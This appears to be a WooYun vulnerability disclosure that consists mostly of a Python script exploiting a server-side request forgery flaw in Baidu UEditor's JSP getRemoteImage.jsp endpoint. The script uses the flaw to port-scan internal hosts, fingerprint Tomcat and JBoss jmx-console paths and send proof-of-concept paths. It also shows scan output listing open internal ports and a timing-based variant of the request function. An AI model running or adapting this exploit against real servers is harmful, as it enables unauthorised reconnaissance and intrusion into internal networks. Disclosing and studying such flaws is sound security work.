WooYun.org

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#Author:Tea
#Test Baidu Ueditor Jsp version for SSRF Vul
import json
import requests
import time
def main():
	uediotr_url = 'http://**.**.**.**/thirdparty/ueditor/jsp/getRemoteImage.jsp?'
	#Check_Dir(uediotr_url)
	#Check_Port(uediotr_url)
	Check_Poc(uediotr_url)
def Check_Port(url):
	Tmp_Host = Get_IP()
	Tmp_Port = Get_Scan_Port()
	for scan_str in Tmp_Host:
		for scan_port in Tmp_Port:
			scan_tmp_par = ''.join(['http://',scan_str,':',scan_port.__str__(),'/%23.jpg'])
			scan_par = {'upfile':scan_tmp_par}
			print scan_tmp_par
			'''
			if Request_Post_Url(url,scan_par):
				print ''.join([scan_str,'  ',scan_port.__str__(),'  Is Open!'])
			'''
def Check_Dir(url):
	Tmp_Host = Get_IP()
	Tmp_Dir = Get_Scan_Finger()
	for scan_str in Tmp_Host:
		for scan_dir in Tmp_Dir:
			scan_tmp_par = ''.join(['http://',scan_str,':8080',scan_dir.__str__()])
			scan_par = {'upfile':scan_tmp_par}
			if Request_Post_Url_Check_Dir(url,scan_par):
				print ''.join([scan_tmp_par,' Is Exists!!!'])
def Check_Poc(url):
	Tmp_Host = Get_IP()
	Tmp_Poc = Get_Scan_Poc()
	for scan_str in Tmp_Host:
		for scan_poc in Tmp_Poc:
			scan_tmp_par = ''.join(['http://',scan_str,':8080',scan_poc.__str__()])
			scan_par = {'upfile':scan_tmp_par}
			print scan_par
			Request_Post_Url_Check_Dir(url,scan_par)
def Get_Scan_Port():
	#port_list = [21,22,23,25,80,110,135,139,443,1433,1521,3306,3389,8080]
	port_list = [80,8080]
	return port_list
def Get_Scan_Finger():
	finger_list = ['/jmx-console/images/logo.gif','/tomcat.png']
	return finger_list
def Get_IP():
	ip_list_result = []
	'''
	ip_list = ['**.**.**.**']
	'''
	ip_list_result = ['这里隐去了']
	return ip_list_result
def Request_Post_Url(url_str,post_data):
	if post_data:
		try:
			Req_headers = {'content-type': 'application/x-www-form-urlencoded',
                           'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:36.0)Gecko/20100101 Firefox/36.0',
                           'Referer':'http://**.**.**.**/'}
			Url_Request = requests.post(url_str,headers=Req_headers,data=post_data,timeout=3)
			Url_Request_Text = Url_Request.text
			Url_Request_Code = Url_Request.status_code
			Url_Request_Text = Url_Request_Text.replace('\'','"')
			Url_Request_Json = json.loads(Url_Request_Text)
			Url_Request_Url = Url_Request_Json['url']
			if Url_Request_Url:
				return True
			else:
				return False
		except:
			return False
def Request_Post_Url_Check_Dir(url_str,post_data):
	if post_data:
		try:
			Req_headers = {'content-type': 'application/x-www-form-urlencoded',
                           'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:36.0)Gecko/20100101 Firefox/36.0',
                           'Referer':'http://**.**.**.**/'}
			Url_Request = requests.post(url_str,headers=Req_headers,data=post_data,timeout=3)
			Url_Request_Text = Url_Request.text
			Url_Request_Code = Url_Request.status_code
			Url_Request_Text = Url_Request_Text.replace('\'','"')
			Url_Request_Json = json.loads(Url_Request_Text)
			Url_Request_Url = Url_Request_Json['url']
			if Url_Request_Url.__str__() != 'null':
				return True
			else:
				return False
		except:
			return False
if __name__ == '__main__':
	main()

**.**.**.**  8080  Is Open!
10.X2.x.13  80  Is Open!
10.X2.x.14  80  Is Open!
10.X2.x.15  80  Is Open!
10.X2.x.17  80  Is Open!
10.X2.x.18  80  Is Open!
10.X2.x.20  80  Is Open!
10.X2.x.21  80  Is Open!
10.X2.x.22  80  Is Open!
10.X2.x.23  80  Is Open!
10.X2.x.24  80  Is Open!
10.X2.x.25  80  Is Open!
10.X2.x.25  8080  Is Open!

def Request_Post_Url(url_str,post_data):
    if post_data:
        try:
            Req_headers = {'content-type': 'application/x-www-form-urlencoded',
                           'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:36.0)Gecko/20100101 Firefox/36.0',
                           'Referer':'http://**.**.**.**/'}
            time_start = time.time() * 1000
            Url_Request = requests.post(url_str,headers=Req_headers,data=post_data,timeout=3)
            time_stop = time.time() * 1000
            time_result =  time_stop-time_start
            if time_result >= 150:
                return True
            else:
                return False
        except:
            return False